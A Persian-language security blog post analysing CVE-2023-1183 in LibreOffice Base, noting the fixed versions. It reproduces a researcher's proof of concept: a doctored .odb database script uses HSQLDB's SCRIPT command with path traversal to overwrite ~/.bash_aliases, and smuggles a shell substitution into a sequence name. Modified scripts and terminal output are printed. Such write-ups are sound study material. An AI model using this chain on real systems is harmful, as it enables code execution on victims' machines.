Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • آسیب پذیری CVE-2023-1183 در LibreOffice
  • آسیب پذیری امنیتی
  • اخبار
  • توسعه اکسپلویت
  • مقالات

آسیب پذیری CVE-2023-1183 در LibreOffice

On تیر 17, 1402تیر 18, 1402
seyyid
Share
زمان مطالعه: 5 دقیقه

یه آسیب پذیری از نوع Arbitrary File Write و شناسه CVE-2023-1183 در LibreOffice کشف و گزارش شده، که در این پست به بررسی اون پرداختیم.

مجموعه LibreOffice یه بسته نرم افزاری هستش شبیه آفیس مایکروسافت، که برنامه های اداری مختلفی مانند واژه پرداز ، صفحه گستر ، ابزاری برای ساخت و نمایش ارائه ها و یه برنامه برای کار با دیتابیس داره.

آسیب پذیری در hsqldb 1.8.0 رخ میده و امکان نوشتن فایل دلخواه در مکان دلخواه رو میده.

برای اینکه تحت تاثیر این آسیب پذیری قرار نگیرید ، توصیه شده از نسخه های 7.4.6 یا 7.5.1 استفاده کنید.

 

آنالیز و اکسپلویت آسیب پذیری :

محقق روی برنامه LibreOffice Base که یه برنامه برای مدیریت و توسعه دیتابیس هستش، کار کرده. در ابتدا یه دیتابیس جدید از نوع HSQLDB Embedded ایجاد کرده.

 

LibreOffice Base

 

بعد از ایجاد دیتابیس و پر کردن یسری مقادیر تستی، اونو ذخیره کرده. فایل ذخیره شده مانند اسناد odt با فرمت odb هستش. این فایل یه فایل فشرده zip  با محتویات زیر هستش :

 

1
2
3
4
5
6
7
8
9
10
11
./forms
./reports
./Configurations2
./database
./database/script
./database/properties
./mimetype
./content.xml
./META-INF
./META-INF/manifest.xml
./settings.xml

 

در بین فایلهای بالا، موردی که توجه محقق رو به خودش جلب کرده ، database/script بوده.

 

1
2
3
4
5
6
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60

 

برای اینکه بتونیم از دستورات SQL سوء استفاده کنیم، بستگی به موتور دیتابیس داره. با توجه به اینکه اینجا ما از HSQLDB استفاده میکنیم، بنابراین اولین قدم بررسی اسناد اون هستش.

در این مستندات در خصوص دستور SCRIPT گفته شده :

یه اسکریپت SQL برای توصیف دیتابیس ایجاد میکنه. اگه فایل مشخص نشده باشه، یه اسکریپت DDL برمیگردونه و اگه فایل مشخص بشه، این فایل با مسیر مرتبط با موتور دیتابیس ذخیره میشه.

فقط یه administrator میتونه این کار انجام بده.

با این توضیحات، محقق رفته سراغ اینکه آیا میتونه از SCRIPT برای نوشتن یه فایل در مکان دلخواه استفاده کنه یا نه. در نتیجه محتوای database/script رو بصورت زیر تغییر داده :

 

1
2
3
4
5
6
7
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60
SCRIPT '../../../../../../../../../tmp/ohai'

 

بعد از این کار، با استفاده از دستور zip -r ../foo.odb دوباره فایل odb رو ساخته. در ادامه این فایل رو در LibreOffice باز کرده و متاسفانه اتفاق خاصی نیافتاده.

محقق دلسرد نشده و دوباره پیش رفته و اینبار با یسری ویژگی های LibreOffice Base مانند فرم ها، گزارشات و … بازی کرده. بعدا این فایل ذخیره کرده و وقتی اونو با LibreOffice باز کرده اینبار مشاهده کرده که فایل ساخت شده:

 

1
2
3
4
5
6
7
bugofen libreoffice_hack???? cat /tmp/ohai
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60

 

محقق در ادامه متوجه شده که با زدن روی دکمه Queries در برنامه، این فایل ایجاد میشه. یه نکته دیگه اینکه اگه یه فایل odb رو دستکاری کنیم و دستور SCRIPT رو بهش اضافه کنیم، موقع ذخیره، LibreOffice اونو حذف میکنه.

اگه بخواییم تا اینجا یه جمع بندی بکنیم، ما تونستیم از طریق LibreOffice Base یه داده ای رو داخل یه فایل در فایل سیستم محلی بنویسیم. محتوای فایلی که مینویسیم تا حدودی تحت کنترل ماست، چراکه براساس مستندات و مشاهدات محقق ، دستور SCRIPT ، محتویات database/script رو داخل یه فایلی که ما انتخاب کردیم مینویسه. اما این محتویات باید دستورات SQL معتبر باشن.

 

 

برای اکسپلویت محقق در مرحله اول خواسته تا یه فایل موجود در سیستم فایل مانند ~/.profile رو بازنویسی کنه. اما بعد از دستکاری فایل و باز کردن اون در LibreOffice و زدن دکمه Queries با خطای زیر مواجه شده :

 

CVE-2023-1883

 

محقق اینجا متوجه شده که بازنویسی فایلهای روی سیستم ، گویا امکانپذیر نیست و بنابراین رفته سراغ ~/.bashrc و با بررسی اون در Ubuntu ، متوجه این مورد شده :

 

1
2
3
4
5
6
7
8
9
10
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
...
fi
 
...
 
if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

 

موارد ~/.dircolors و ~/.bash_aliases در سیستم تست محقق وجود نداشتن. بنابراین محقق اول رفته سراغ بررسی ابزار dircolors و نحوه تجزیه فایل ~/.dircolors ، اما متوجه شده که از تزریق جلوگیری میکنه. بنابراین اونو کنار گذاشته و رفته سراغ ~/.bash_aliases .

تو لینوکس ما میتونیم برای یسری دستورات bash ، معادل دلخواه ایجاد کنیم که بهشون alias میگیم. مثلا شما میخوایید به یه سروری ssh بزنید، بجای اینکه کل دستور رو هربار بزنید، میتونید یه معادل براش تعریف کنید و اونو بزنید. در دستور پایین، ما با زدن دستور salam میتونیم اون دستور بزرگ رو اجرا کنیم.

 

1
alias salam='ssh root@10.10.10.10 -p1234 -c'

 

این دستورات معادل با ریبوت شدن سیستم، میپرن و برای همین اونارو داخل یه فایلی بنام bash_aliases ذخیره میکنن که در مسیر /home/username/.bash_aliases قرار داره.

اما اگه این دستورات رو بدون alias ، داخل این فایل بنویسیم، با باز کردن ترمینال اجرا میشن. برای مثال من دستور echo onhexgroup.ir رو نوشتم و با باز کردن ترمینال، همونطور که مشاهده میکنید، اجرا شده :

 

bash_aliases shell

 

با توجه به توضیحات بالا ما میتونیم داده داخل یه فایل بنویسیم و البته برای این منظور باید از دستورات SQL استفاده کنیم. بنابراین اگه بتونیم داده دلخواهمون رو داخل فایل bash_aliases بنویسیم، میتونیم با اجرای ترمینال، اونو اجرا کنیم. در اینجا هدف اینه که یه فایلی داخل tmp ایجاد کنیم.

محقق اومده برای خط اول از SET DATABASE COLLATION "$(touch /tmp/test)" استفاده کرده. چرا؟ چون گفتیم که باید دستورات معتبر SQL وارد کنیم. اما این خط کار نکرده و LibreOffice خطا داده.

در ادامه محقق از CREATE CACHED TABLE "$(touch /tmp/test)"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100)) استفاده کرده اما اینبار bash خطا داده و به پارانتزها گیر داده :

 

1
2
bash: /home/greg/.bash_aliases: line 2: syntax error near unexpected token `('
bash: /home/greg/.bash_aliases: line 2: `CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))

 

با توجه به خطای بالا، محقق دنبال یه دستور SQL بوده که از پارانتز استفاده نکنه و از مستندات ، دستور CREATE SEQUENCE رو پیدا کرده که این ویژگی رو داره.

در نهایت محقق این دستورات رو به database/script اضافه کرده :

 

1
2
3
4
5
6
7
8
9
10
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60
 
-- teh 1337 haxx
CREATE SEQUENCE "$(touch /tmp/test)"
SCRIPT '../../../../../../../../../home/greg/.bash_aliases'

 

بعد از اضافه کردن، دوباره فشرده کرده و فایل odb رو ساخته، در LibreOffice بازش کرده و روی Queries کلیک کرده و مشاهده کرده که محتویات ~/.bash_aliases بدین شکل تغییر کرده :

 

1
2
3
4
5
6
7
SET DATABASE COLLATION "Latin1_General"
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
CREATE SEQUENCE "$(touch /tmp/test)" AS INTEGER START WITH 0
CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))
CREATE USER SA PASSWORD ""
GRANT DBA TO SA
SET WRITE_DELAY 60

 

وقتی bash رو باز کرده، خروجی زیر رو مشاهده کرده :

 

1
2
3
4
5
6
7
8
bugofen libreoffice_hack???? bash
bash: SET: command not found
bash: CREATE: command not found
bash: CREATE: command not found
bash: /home/greg/.bash_aliases: line 4: syntax error near unexpected token `('
bash: /home/greg/.bash_aliases: line 4: `CREATE CACHED TABLE "Table1"("ID" INTEGER NOT NULL PRIMARY KEY,"foo" VARCHAR(100))'
bugofen libreoffice_hack???? ls /tmp/test
/tmp/test

 

منبع

 

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آسیب پذیری امنیتی اخبار توسعه اکسپلویت مقالاتIn arbitrary file write , LibreOffice , LibreOffice Base , آموزش اکسپلویت نویسی

راهبری نوشته

بروزرسانی ماه جولای 2023 اندروید
بررسی هفتگی آسیب پذیری های منتشر شده در ZDI – (9 تا 16 تیر)

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مقالات
  • مهندسی معکوس نرم افزار

پست های مرتبط

  • اخبار
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
seyyid
On بهمن 25, 1401فروردین 28, 1402

iscwsisc2023 + کارگاه مقدماتی محاسبات امن

  • اخبار
seyyid
On خرداد 1, 1402

بررسی لایحه برنامه هفتم توسعه با محوریت امنیت سایبری

  • اخبار
  • توسعه اکسپلویت
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
seyyid
On دی 23, 1401فروردین 28, 1402

توسعه اکسپلویت CVE-2022-44877 در متاسپلویت

  • آسیب پذیری امنیتی
  • اخبار
  • توسعه اکسپلویت
seyyid
On اسفند 16, 1401فروردین 28, 1402

انتشار PoC برای آسیب پذیری بحرانی اجرای کد در Word

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow integer overflow kali LockBit Memory Corruption nuclei out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت لینوکس مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کروم گوگل

شبکه های اجتماعی

    • Instagram
    • Telegram
    • Twitter
    • GitHub
    • YouTube
    • LinkedIn
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404